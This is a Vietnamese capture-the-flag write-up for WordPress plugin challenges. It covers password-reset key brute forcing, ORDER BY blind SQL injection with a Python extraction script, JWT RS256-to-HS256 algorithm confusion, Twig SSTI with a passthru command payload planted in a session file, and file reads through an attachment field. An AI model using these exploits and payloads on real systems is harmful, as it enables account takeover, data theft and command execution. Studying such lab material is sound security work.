Writeup Patchstack WCUS CTF
Trong thời gian gần đây, Patchstack đã tổ chức cuộc thi Patchstack WCUS CTF, bao gồm 9 thử thách (challenge), tất cả đều tập trung vào việc khai thác các lỗ hổng bảo mật trong các plugin WordPress. Sau đây là một số writeup về các thử thách đó.
Tất cả các challenge đều được cung cấp dưới dạng whitebox.
WP Elevator
Trong challenge này, đề bài cung cấp cho chúng ta một plugin WordPress. Nhiệm vụ của chúng ta là gọi đúng endpoint để lấy được flag.
add_action("wp_ajax_patchstack_flagger", "flagger_request_callback");
function flagger_request_callback()
{
// Validate nonce
$nonce = isset($_REQUEST["nonce"])
? sanitize_text_field($_REQUEST["nonce"])
: "";
if (!wp_verify_nonce($nonce, "get_latest_posts_nonce")) {
wp_send_json_error("Invalid nonce.");
return;
}
$user = wp_get_current_user();
$allowed_roles = ["administrator", "subscriber"];
if (array_intersect($allowed_roles, $user->roles)) {
$value = file_get_contents('/flag.txt');
wp_send_json_success(["value" => $value]);
} else {
wp_send_json_error("Missing permission.");
}
}
Vậy, chỉ cần chúng ta có được role administrator
hoặc subscriber
, chúng ta sẽ nhận được flag.
Nhưng làm thế nào để có thể đăng ký một tài khoản subscriber
? Trong mã nguồn, có một đoạn code cho phép tạo người dùng mới với role subscriber
.
function create_user_via_api($request)
{
$parameters = $request->get_json_params();
$username = sanitize_text_field($parameters["username"]);
$email = sanitize_email($parameters["email"]);
$password = wp_generate_password();
// Create user
$user_id = wp_create_user($username, $password, $email);
if (is_wp_error($user_id)) {
return new WP_Error(
"user_creation_failed",
__("User creation failed.", "text_domain"),
["status" => 500]
);
}
// Add user role
$user = new WP_User($user_id);
$user->set_role("subscriber");
return [
"message" => __("User created successfully.", "text_domain"),
"user_id" => $user_id,
];
}
Yêu cầu POST để tạo tài khoản mới:
POST /wp-json/user/v1/create HTTP/1.1
Content-Type: application/json
{
"username": "newuser",
"email": "newuser@example.com"
}
Tuy nhiên, khi tạo người dùng mới, chỉ có username
và email
được truyền đi, mà không có mật khẩu để đăng nhập. Plugin này còn cung cấp một tính năng khác là reset_password_key_callback()
, cho phép yêu cầu reset mật khẩu cho bất kỳ tài khoản nào. Chúng ta có thể sử dụng $key
được tạo từ get_password_reset_key2()
để thực hiện việc reset mật khẩu.
Request yêu cầu reset password:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=reset_key&user_id=71
Tuy nhiên, $key
được tạo ra chỉ có 1 ký tự duy nhất, điều này cho phép chúng ta brute force key để reset mật khẩu cho tài khoản subscriber
vừa tạo.
$key = wp_generate_password(1, false);
Do môi trường của tôi không được cấu hình server mail, nên tôi gặp khó khăn trong việc xác định chính xác endpoint để reset mật khẩu bằng key. Sau khi tham khảo ChatGPT, tôi đã nhận được câu trả lời như sau:
Tôi đã thử sử dụng endpoint này để reset mật khẩu cho tài khoản subscriber
.Tuy nhiên, sau đó tôi phát hiện ra một endpoint tốt hơn để thực hiện việc này.
POST /wp-login.php?action=resetpass HTTP/1.1
Content-Type: application/x-www-form-urlencoded
pass1=123&pw_weak=on&pass2=123&rp_key=R&wp-submit=Save+Password
Sau khi reset thành công và có được tài khoản subscriber
, tôi tiếp tục gửi yêu cầu đến hàm get_latest_posts_callback
để lấy giá trị nonce
:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: <subcriber>
action=get_latest_posts_callback
Khi đã có nonce
, tôi chỉ cần gửi yêu cầu tới flagger_request_callback()
và truyền giá trị nonce
đó để nhận flag:
POST /wp-admin/admin-ajax.php HTTP/1.1
Cookie: <subcriber>
Content-Type: application/x-www-form-urlencoded
action=patchstack_flagger&nonce=b920667f1a
Link Manager
Đập vào mắt đầu tiên là đoạn code dễ dàng bị khai thác SQL Injection tại:
function get_link_data() {
global $wpdb;
$table_name = $wpdb->prefix . 'links';
$link_name = sanitize_text_field($_POST['link_name']);
$order = sanitize_text_field($_POST['order']);
$orderby = sanitize_text_field($_POST['orderby']);
validate_order($order);
validate_order_by($orderby);
$results = $wpdb->get_results("SELECT * FROM wp_links where link_name = '$link_name' order by $orderby $order");
if (!empty($results)) {
wp_send_json_success($results);
} else {
wp_send_json_error('No data found.');
}
}
Mặc dù có đoạn validate dữ liệu truyền vào, nhưng nó chỉ để đánh lừa và không thực sự ngăn chặn được SQL Injection. Chúng ta vẫn có thể khai thác lỗ hổng qua biến $orderby $order
.
Để khai thác được lỗ hổng này, trước tiên cần thêm dữ liệu vào mà không cần xác thực thông qua hook sau:
add_action( 'wp_ajax_nopriv_submit_link', 'handle_ajax_link_submission' );
Chúng ta có thể gửi yêu cầu thêm dữ liệu và lấy giá trị nonce
từ trang chủ, thông qua biến var ajaxNonce = 'bb01b00013';
:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=submit_link&url=http://example.com&name=test&description=test&nonce=bb01b00013
Khai thác SQL Injection
Trong đoạn truy vấn SQL sau:
$results = $wpdb->get_results("SELECT * FROM wp_links where link_name = '$link_name' order by $orderby $order");
Chúng ta có thể khai thác SQL Injection qua order by
, nhưng do response không hiển thị lỗi nên không thể sử dụng kỹ thuật error-based SQLi. Thay vào đó, có hai cách khai thác: time-based blind SQL Injection hoặc boolean-based blind SQL Injection.
Tôi đã chọn cách khai thác bằng boolean-based blind SQL Injection vì cách này nhanh hơn cho brute force. Payload sử dụng có dạng (cảm ơn người anh homie đã chia sẻ payload này):
(SELECT (CASE WHEN (1=1) THEN 1 ELSE 6096*(SELECT 6096 FROM information_schema.tables) END))
Chỉ cần thay phần 1=1
bằng các điều kiện boolean hoặc time-based khác là được. Tôi đã chọn sử dụng boolean-based vì nó hiệu quả hơn trong trường hợp này.
Lưu ý: Công cụ
sqlmap
không thể khai thác lỗ hổng này do hạn chế trong việc gửi payload. Nếu có cách sử dụng tốt hơn, các bạn đọc có thể gợi ý thêm nhé. Vì không thể khai thác tự động bằng công cụ, tôi đành phải "manual" 😥.
Trong quá trình khai thác, tôi gặp hai vấn đề lớn:
- Không thể sử dụng dấu
'
. - Không thể so sánh chuỗi.
Nguyên nhân không sử dụng được dấu '
là do tính năng Addslashes của WordPress mà tôi đã trình bày trong bài viết trước. Việc này cũng khiến không thể so sánh chuỗi một cách thông thường.
Giải pháp thay thế là sử dụng các hàm số để so sánh. Tôi chuyển qua so sánh bằng số và sử dụng hàm ASCII()
để chuyển đổi ký tự sang mã số, đồng thời sử dụng hàm CHAR()
để lấy tên cột. Flag của challenge này nằm trong bảng wp_options
với tên cột là flag_links_data
.
Với sự hỗ trợ của ChatGPT, tôi đã viết một script để khai thác lỗ hổng này:
import requests
import string
url = 'http://100.25.255.51:9097/wp-admin/admin-ajax.php'
target_table = ''
def test_sqli(payload):
data = {
'action': 'get_link_data',
'link_name': 'test',
'order': '',
'orderby': payload
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
response = requests.post(url, data=data, headers=headers)
try:
result = response.json()
if result.get('success') == False:
return False
return True
except ValueError:
return False
def brute_force_flag_links_data():
flag_value = ''
char_set = string.ascii_letters + string.digits + string.punctuation
while True:
found = False
for char in range(32, 127):
payload = f"(SELECT (CASE WHEN (SELECT ASCII(SUBSTRING(option_value,{len(flag_value)+1},1)) FROM wordpress.wp_options WHERE option_name=CHAR(102,108,97,103,95,108,105,110,107,115,95,100,97,116,97)) = {char} THEN 1 ELSE 6096*(SELECT 6096 FROM information_schema.tables) END))"
if test_sqli(payload):
flag_value += chr(char)
print(f"Đã tìm thấy: {flag_value}")
found = True
break
if not found:
break
print(f"Giá trị flag_links_data là: {flag_value}")
brute_force_flag_links_data()
JustinWonkyTokens
Đề bài cung cấp một plugin sử dụng JWT (JSON Web Token) để xác thực, và nhiệm vụ của chúng ta là lấy được JWT với role=admin
để có được flag.
function simple_jwt_handler() {
$flag = file_get_contents('/flag.txt');
$privateKey = file_get_contents('/jwt.key');
$publicKey = <<<EOD
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqXfQ7ExnjmPJbSwuFoxw
3kuBeE716YM5uXirwUb0OWB5RfACAx9yulBQJorcQIUdeRf+YpkQU5U8h3jVyeqw
HzjOjNjM00CVFeogTnueHoose7Jcdi/K3NyYcFQINui7b6cGab8hMl6SgctwZu1l
G0bk0VcqgafWFqSfIYZYw57GYhMnfPe7OR0Cvv1HBCD2nWYilDp/Hq3WUkaMWGsG
UBMSNpC2C/3CzGOBV8tHWAUA8CFI99dHckMZCFJlKMWNQUQlTlF3WB1PnDNL4EPY
YC+8DqJDSLCvFwI+DeqXG4B/DIYdJyhEgMdZfAKSbMJtsanOVjBLJx4hrNS42RNU
dwIDAQAB
-----END PUBLIC KEY-----
EOD;
$issuedAt = new DateTimeImmutable();
$data = [
"role" => "guest",
"iat" => $issuedAt->getTimestamp(),
"nbf" => $issuedAt->getTimestamp()
];
if (!isset($_COOKIE['simple_jwt'])) {
setcookie('simple_jwt', SimpleJWTHandler::encodeToken($data, $privateKey, 'RS256'));
echo 'JWT has been set.';
} else {
$token = $_COOKIE['simple_jwt'];
try {
$decoded = SimpleJWTHandler::decodeToken($token, $publicKey);
if ($decoded->role == 'admin') {
echo 'Success: ' . $flag;
} elseif ($decoded->role == 'guest') {
echo 'Role is guest.';
}
} catch (Exception $e) {
echo 'Token verification failed.';
}
}
}
Khi gửi yêu cầu tới wp-ajax.php
với action=simple_jwt_handler
, nếu không có giá trị $_COOKIE['simple_jwt']
, plugin sẽ trả về một JWT với role=guest
, được mã hóa bằng thuật toán RS256
. Do chúng ta không biết được private.key
, nên việc chỉnh sửa JWT để chuyển từ role=guest
sang role=admin
là không khả thi.
Tiếp theo, hãy kiểm tra hàm SimpleJWTHandler::decodeToken($token, $publicKey)
:
public static function decodeToken($token, $key = null, $verify = true)
{
$segments = explode('.', $token);
if (count($segments) != 3) {
throw new UnexpectedValueException('Invalid token structure');
}
list($header64, $payload64, $signature64) = $segments;
$header = self::jsonDecode(self::urlSafeBase64Decode($header64));
$payload = self::jsonDecode(self::urlSafeBase64Decode($payload64));
$signature = self::urlSafeBase64Decode($signature64);
if ($verify) {
if (empty($header->alg)) {
throw new DomainException('Algorithm missing');
}
if (is_array($key)) {
if (isset($header->kid)) {
$key = $key[$header->kid];
} else {
throw new DomainException('Key ID missing');
}
}
if (!self::verifySignature("$header64.$payload64", $signature, $key, $header->alg)) {
throw new UnexpectedValueException('Signature verification failed');
}
if (isset($payload->exp) && time() >= $payload->exp) {
throw new UnexpectedValueException('Token expired');
}
}
return $payload;
}
Chúng ta thấy rằng hàm decodeToken
sử dụng $token
và $publicKey
để xác thực JWT. Tuy nhiên, có một lỗ hổng ở đây: thuật toán mã hóa JWT (alg
) không được cố định mà được lấy từ header của JWT mà người dùng gửi vào. Điều này cho phép chúng ta thay đổi thuật toán mã hóa từ RS256
sang HS256
. Với HS256
, JWT sẽ sử dụng publicKey
của server làm khóa bí mật để mã hóa thay vì privateKey
.
Điều này có nghĩa là chúng ta có thể giả mạo JWT với role=admin
bằng cách sử dụng thuật toán HS256
và ký lại JWT bằng publicKey
mà server đã cung cấp.
Với lỗ hổng đã phát hiện, chúng ta chỉ cần chỉnh sửa một chút ở phần mã hóa JWT để có thể tạo ra một JWT với role=admin
. Thay vì sử dụng thuật toán RS256
, chúng ta sẽ chuyển sang sử dụng HS256
và ký lại JWT bằng publicKey
mà server đã cung cấp.
Dưới đây là đoạn code đã được chỉnh sửa:
$data = [
"role" => "admin",
"iat" => $issuedAt->getTimestamp(),
"nbf" => $issuedAt->getTimestamp()
];
if (!isset($_COOKIE['simple_jwt'])) {
setcookie('simple_jwt', SimpleJWTHandler::encodeToken($data, $publicKey, 'HS256'));
echo 'JWT has been set.';
}
Với đoạn mã này, chúng ta đã tạo được một JWT với role=admin
, sử dụng thuật toán HS256
và publicKey
từ server để ký lại JWT. Sau khi có được JWT này từ môi trường local, chỉ cần gửi JWT lên server bằng cách đính kèm nó vào Cookie
, và gửi một request tới server. Nếu token đã được chỉnh sửa đúng cách, server sẽ xác thực JWT với role=admin
và trả về flag.
Cụ thể, sau khi có JWT, bạn chỉ cần POST nó lên server thông qua:
POST /wp-ajax.php?action=simple_jwt_handler HTTP/1.1
Cookie: simple_jwt=<JWT đã chỉnh sửa>
Vậy là bạn sẽ nhận được flag
Timberlake
Đề bài cung cấp một theme WordPress với file index.php
được sử dụng để hiển thị nội dung trang. Ở phần này, điểm cần chú ý là tham số page
được truyền qua URL, và sau đó nội dung được render thông qua Timber::render($page, $context)
. Tuy nhiên, để có thể render file template thành công, tham số page
phải qua hàm validate($_REQUEST['page'])
. Dưới đây, tôi sẽ giải thích chi tiết hơn các bước xử lý và các cơ chế bảo vệ của đoạn mã này.
Giải thích chi tiết các phần quan trọng:
-
Cơ chế xác định template:
$page = 'template-home.twig'; if(isset($_REQUEST['page']) && validate($_REQUEST['page'])){ $page = $_REQUEST['page']; };
Trong đoạn này, biến
$page
sẽ nhận giá trị từ tham sốpage
trong request nếu hàmvalidate()
trả về true. Nếu không, mặc định template được sử dụng làtemplate-home.twig
. Điều này có nghĩa rằng để render một file khác, giá trị của tham sốpage
phải thỏa mãn các điều kiện kiểm tra trong hàmvalidate()
. -
Hàm
validate()
: Đây là hàm kiểm tra quan trọng để đảm bảo file được truyền qua tham sốpage
an toàn và hợp lệ. Các bước kiểm tra bao gồm:-
Kiểm tra tên file:
if (isset($filename) && !empty($filename) && !in_array($filename, array('.php', '.htm', '.html', '.phtml', '.xhtml'))) {
Tên file phải không rỗng và không được nằm trong danh sách các file có phần mở rộng nguy hiểm như
.php
,.htm
,.html
, v.v. Điều này giúp ngăn chặn việc sử dụng các file có khả năng thực thi mã độc. -
Kiểm tra nội dung file:
if(is_timber_template(file_get_contents($fullPath)) === true) { if(is_valid_template(file_get_contents($fullPath)) === true) { return 1; } }
Sau khi xác định rằng tên file hợp lệ, nội dung của file sẽ được đọc và kiểm tra qua hai hàm
is_timber_template()
vàis_valid_template()
để đảm bảo rằng file không chứa các đoạn mã nguy hiểm.
-
-
Hàm
is_timber_template()
:function is_timber_template($content) { $pattern = '/({{.*?}}|{%.*?%}|{#.*?#})/'; if (preg_match($pattern, $content)) { return true; } else { return false; } }
Hàm này kiểm tra xem file có chứa các biểu thức liên quan đến Timber template engine (như
{{ }}
,{% %}
, hoặc{# #}
). Nếu file có chứa các đoạn mã này, nó được coi là một template hợp lệ để Timber có thể render. -
Hàm
is_valid_template()
:function is_valid_template($content) { $pattern = '/\b(filter|system|cat|bash|bin|exec|_self|env|dump|app|sort|tac|file_excerpt|\/bin|FILENAME)\b/i'; if (preg_match($pattern, $content)) { return false; } else { return true; } }
Hàm này kiểm tra xem nội dung file có chứa các từ khóa nguy hiểm như
system
,exec
,cat
,bash
,env
, v.v. Đây là các từ khóa có thể liên quan đến việc thực thi lệnh hệ thống hoặc thao tác với file, vì vậy nếu chúng xuất hiện, file sẽ bị từ chối để tránh các cuộc tấn công RCE (Remote Code Execution).
Cách khai thác tiềm năng:
Tuy đoạn mã đã có các cơ chế kiểm tra để ngăn chặn việc sử dụng các file nguy hiểm hoặc nội dung độc hại, nhưng có thể tận dụng nếu biết trước các tên file hợp lệ trên server. Cụ thể:
-
SSTI (Server-Side Template Injection): Do tham số
page
được sử dụng để render file template bằng Timber, nếu có thể đoán được tên file template hợp lệ, có thể khai thác SSTI. Tuy nhiên, do có các biện pháp kiểm tra nội dung template qua hàmis_timber_template()
vàis_valid_template()
, việc trực tiếp thực hiện RCE bằng SSTI qua các từ khóa nguy hiểm nhưsystem
hayexec
là khó thực hiện. -
Bypass
validate()
: Để vượt qua hàmvalidate()
, bạn cần cung cấp giá trịpage
với một tên file chính xác, không chứa phần mở rộng bị cấm, và không chứa các từ khóa bị cấm trong nội dung.
Phân tích tiếp theo
Trong đoạn code mà bài viết đề cập, có một chức năng lưu trữ dữ liệu vào session thông qua hàm save_session()
. Điểm đáng chú ý là dữ liệu từ request có thể được lưu vào file session trên server thông qua hàm session_start()
, và file này sẽ nằm trong thư mục /tmp
, điều này có thể dẫn đến một khả năng khai thác thú vị.
Phân tích chi tiết đoạn code save_session()
:
function save_session() {
start_session();
if (isset($_REQUEST['session_data'])) {
$_SESSION['session_data'] = stripslashes($_REQUEST['session_data']);
wp_send_json_success('Data is saved to session.');
} else {
wp_send_json_error('Some error happened.');
}
}
add_action('wp_ajax_save_session', 'save_session');
add_action('wp_ajax_nopriv_save_session', 'save_session');
-
Hàm
save_session()
:- Hàm này sẽ bắt đầu một session với
start_session()
. - Nếu có tham số
session_data
được gửi thông qua request, nó sẽ lưu dữ liệu đó vào biến$_SESSION['session_data']
và phản hồi lại client thông qua JSON rằng dữ liệu đã được lưu thành công. Nếu không có tham số này, nó sẽ trả về lỗi.
- Hàm này sẽ bắt đầu một session với
-
Session file:
- Khi hàm
start_session()
được gọi, một file session sẽ được tạo ra trong thư mục/tmp
với tên dạngsess_xxx
, trong đóxxx
là session ID. - Dữ liệu được lưu trữ trong session sẽ được ghi vào file này. Điều này bao gồm cả nội dung của
$_SESSION['session_data']
, tức là giá trị của$_REQUEST['session_data']
sẽ được ghi vào file session trong thư mục/tmp
.
- Khi hàm
Khai thác khả năng lưu SSTI vào session file:
Dựa trên cơ chế xử lý này, chúng ta có thể lợi dụng để lưu một payload khai thác SSTI vào file session trong thư mục /tmp
. Như đã phân tích ở phần trước, hàm validate()
trong bài kiểm tra các điều kiện để quyết định xem file nào có thể được render bởi Timber. Điều quan trọng là hàm này cho phép truy cập vào các file nằm trong thư mục /tmp
, vì Timber đã được cấu hình để tìm kiếm template ở cả thư mục /tmp
và templates
thông qua đoạn code:
Timber::$dirname = array('../../../../../../../../../../../../tmp', 'templates');
Điều này có nghĩa là, nếu chúng ta lưu một payload SSTI hợp lệ vào file session, chúng ta có thể lợi dụng để Timber render file đó như một template và kích hoạt lỗ hổng SSTI.
Cách khai thác:
-
Lưu payload SSTI vào session file:
Chúng ta có thể gửi một request tới action
save_session
với tham sốsession_data
chứa payload SSTI.Payload SSTI:
{{['grep . /flag.txt']|map('passthru')}}}
Do ở đây hàm filter có chặn những từ khoá như
system
,cat
, .v.v.. nên sử dụng payload trên thì 👌Gửi request để lưu payload này vào session:
POST /wp-admin/admin-ajax.php?action=save_session Content-Type: application/x-www-form-urlencoded session_data={{['grep . /flag.txt']|map('passthru')}}}
-
Xác định tên file session:
File session sẽ có tên dạng
sess_<session_id>
. Session ID này có thể được lấy từ cookie của trình duyệt sau khi gửi request đầu tiên hoặc bằng cách tìm session ID trực tiếp trên server (nếu có quyền truy cập). -
Render file session:
- Sau khi lưu payload vào session file, chúng ta có thể thực hiện cuộc tấn công SSTI bằng cách gửi request đến endpoint với tham số
page
trỏ đến file session vừa tạo. Tên file session sẽ làsess_<session_id>
.
GET /wp-admin/admin-ajax.php?page=sess_<session_id>
Và đọc được flag
- Sau khi lưu payload vào session file, chúng ta có thể thực hiện cuộc tấn công SSTI bằng cách gửi request đến endpoint với tham số
Texting Trouble
Với challeng này, chúng ta cùng phân tích hàm send_message_callback()
public function send_message_callback() {
$error = 0;
$formdata = $_POST['formdata'];
parse_str($formdata, $output);
$message = sanitize_textarea_field($output['jotac-plugin-messages']['jot-message']);
$mess_type = sanitize_text_field($output['jotac-plugin-messages']['jot-message-type']);
$mess_suffix = sanitize_text_field($output['jotac-plugin-messages']['jot-message-suffix']);
$mess_attachment = sanitize_text_field($output['jotac-plugin-messages']['jot-attachment']);
$jotmemkey = sanitize_text_field($_POST['jotmemid']);
$jotseckey = sanitize_text_field($_POST['sec']);
if (!empty($jotmemkey)) {
list($jotgrpid,$jotmemid) = explode("-", $jotmemkey, 2);
$member = $this->get_member($jotmemid);
}
if (empty($jotseckey) || JOTAC_Plugin()->key!==$jotseckey) {
// Bail out
die();
}
if (empty($message)) {
// Empty message
$error = 3;
}
if ($error == 0) {
if (JOTAC_Plugin()->currentsmsprovider) {
// Save message type
$smsmessage = get_option('jotac-plugin-messages');
$smsmessage['jot-message-type'] = $mess_type;
// Save message suffix
$smsmessage['jot-message-suffix'] = $mess_suffix;
// Save message content
$smsmessage['jot-message'] = $message;
update_option('jotac-plugin-messages',$smsmessage);
// Replace tags in message
$message = $this->get_replace_tags($message,$member);
// Append Message suffix
if (!empty($mess_suffix)) {
$fullmessage = $message . " " . $mess_suffix ;
} else {
$fullmessage = $message;
}
// Optional attachment
if (!empty($mess_attachment)) {
if (preg_match('/^[a-zA-Z]+:\/\//', $mess_attachment)) {
$error = 6;
$additional_error = "Incorrect format";
}
$allowed_extensions = ['txt','png','jpg','pdf'];
if (!in_array(pathinfo($mess_attachment, PATHINFO_EXTENSION), $allowed_extensions)) {
$error = 6;
$additional_error = "Filetype not supported";
}
else {
$wp_dir = wp_upload_dir();
$attachment_fp = $wp_dir['basedir'] . '/attachments/' . $mess_attachment;
$available_files = array_diff(scandir(dirname($attachment_fp)), array('.', '..'));
$existing_files = [];
foreach ($available_files as $f) {
$existing_files[] = $f;
}
if (in_array(basename($attachment_fp), $existing_files)) {
$attachment_raw = file_get_contents($attachment_fp);
} else {
$error = 6;
$additional_error = "File does not exist among [".implode(', ', $existing_files)."]";
}
}
}
$fullmessage = apply_filters('jot-send-message-messagetext',$fullmessage);
if (!empty($member)) {
$message_type = sanitize_text_field($output['jotac-plugin-messages']['jot-message-type']);
switch ( $message_type ) {
case 'jot-sms';
$message_error = JOTAC_Plugin()->currentsmsprovider->send_smsmessage($member['jot_grpmemnum'],$fullmessage,$attachment_raw);
break;
case 'jot-call';
$message_error = JOTAC_Plugin()->currentsmsprovider->send_callmessage($member['jot_grpmemnum'],$fullmessage);
break;
}
}
if ($message_error['send_message_errorcode'] != 0) {
//An error occurred sending the message
$error = 999;
}
$all_send_errors[] = $message_error;
} else {
$error = 1;
}
}
Tại đây có thể thấy được đoạn code
$attachment_raw = file_get_contents($attachment_fp);
có thể tấn công được thông qua file_get_contents()
để đọc flag.
Hàm này được sử dụng để đọc nội dung file đính kèm từ đường dẫn $attachment_fp
. Nếu chúng ta có thể kiểm soát đầu vào của biến $mess_attachment
, việc chỉ định một file cụ thể, như /flag.txt
, sẽ cho phép hệ thống đọc nội dung của file đó thông qua file_get_contents()
.
Phân tích lỗ hổng trong hàm send_message_callback()
và khai thác qua file_get_contents()
Dữ liệu từ $_POST['formdata']
được xử lý bằng các hàm như sanitize_textarea_field()
và sanitize_text_field()
, bao gồm giá trị mess_attachment
. Hệ thống kiểm tra xem file đính kèm có tồn tại trong thư mục /attachments/
và có định dạng hợp lệ hay không. Tuy nhiên, nếu chỉ định một đường dẫn trực tiếp đến file nhạy cảm như /flag.txt
, hàm file_get_contents()
vẫn có thể đọc được nội dung của file này nếu nó tồn tại trên hệ thống.
Sau khi nội dung file được đọc, nếu xảy ra lỗi trong quá trình gửi tin nhắn, chẳng hạn do nhà cung cấp dịch vụ SMS, hệ thống sẽ trả về thông báo lỗi chứa thông tin về file vừa đọc. Lỗ hổng này tạo ra cơ hội để trích xuất thông tin nhạy cảm từ file mà không cần phải vượt qua các rào cản bảo mật khác.
Chúng ta có thể khai thác bằng cách gửi một yêu cầu POST tới hệ thống với giá trị mess_attachment
trỏ trực tiếp đến file /flag.txt
. Nếu có lỗi phát sinh trong quá trình gửi tin nhắn (như trong trường hợp nhà cung cấp dịch vụ SMS không khả dụng), nội dung của file flag sẽ được trả về dưới dạng một phần của thông báo lỗi. Bằng cách này, chúng ta có thể dễ dàng đọc được flag mà không cần phải vượt qua các kiểm tra file loại bỏ thông thường.
Khai thác:
-
Gửi yêu cầu với
mess_attachment
trỏ đến file flag/flag.txt
:POST /wp-admin/admin-ajax.php?action=send_message Content-Type: application/x-www-form-urlencoded formdata=jotac-plugin-messages[jot-message]=test_message&jotac-plugin-messages[jot-message-type]=jot-sms&jotac-plugin-messages[jot-attachment]=/flag.txt&sec=6AGmIzDZktwJCaQt
Với giá trị
sec
được lấy từpublic function __construct () { $this->product = "JOTAC SMS"; $this->token = 'jotac-plugin'; $this->key = '6AGmIzDZktwJCaQt'; $this->version = '4.0.0'; $this->debug = false;
-
Khi xảy ra lỗi trong quá trình gửi tin nhắn (trong
case 'jot-sms'
), nội dung của file flag được lưu trong$attachment_raw
sẽ xuất hiện trong phản hồi lỗi trả về từ server.
Phần tiếp theo bạn đọc đọc tại đây https://viblo.asia/p/writeup-patchstack-wcus-ctf-obA46w1BJKv
All rights reserved